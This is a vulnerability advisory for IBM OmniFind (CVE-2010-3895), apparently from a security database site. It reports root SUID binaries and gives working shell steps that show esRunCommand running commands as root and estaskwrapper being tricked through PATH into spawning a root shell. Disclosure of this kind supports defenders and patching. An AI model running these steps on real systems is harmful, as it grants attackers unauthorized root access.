IBM OmniFind Privilege Escalation Vulnerability

2010.11.15
Credit: Fatih Kilic
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


Ogólna skala CVSS: 7.2/10
Znaczenie: 10/10
Łatwość wykorzystania: 3.9/10
Wymagany dostęp: Lokalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

* Privilege escalation in two applications (CVE-2010-3895) Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«. ------------------------------------------------------------------------- -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper ------------------------------------------------------------------------- »esRunCommand« takes one argument and runs it as root. See example below. ------------------------------------------------------------------------- -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id OUTPUT: cmd is id id uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users) ------------------------------------------------------------------------- The application »estaskwrapper« is meant to start the application »estasklight«. The pseudo c code looks like this: ------------------------------------------------------------------------- main() { int auth = 0; ... if (argv[1] == "estasklight") { auth = 1; ... path = getenv("ES_LIBRARY_PATH"); if (path) { setenv("LD_LIBRARY_PATH", path); setenv("LIBPATH", path); ... if (auth) { execvp ("estasklight", args); } ... } ... } ... } ------------------------------------------------------------------------- Explanation of the code: »argv[1]« is the first command line argument, that is compared with the string »estasklight«. If it is equal the »auth« flag is set. If the user has the environment variable »ES_LIBRARY_PATH« set, the value is copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«. If the »auth« flag is set, the application »estasklight« is executed. Exploit for running /bin/sh ------------------------------------------------------------------------- joemueller@XXX:~> cp /bin/sh ~/bin/estasklight joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight XXX:~# id uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users) -------------------------------------------------------------------------

Referencje:

http://www.vupen.com/english/advisories/2010/2933
http://www.securityfocus.com/bid/44740
http://www.securityfocus.com/archive/1/archive/1/514688/100/0/threaded
http://www.exploit-db.com/exploits/15475
http://security.fatihkilic.de/advisory/fkilic-sa-2010-ibm-omnifind.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top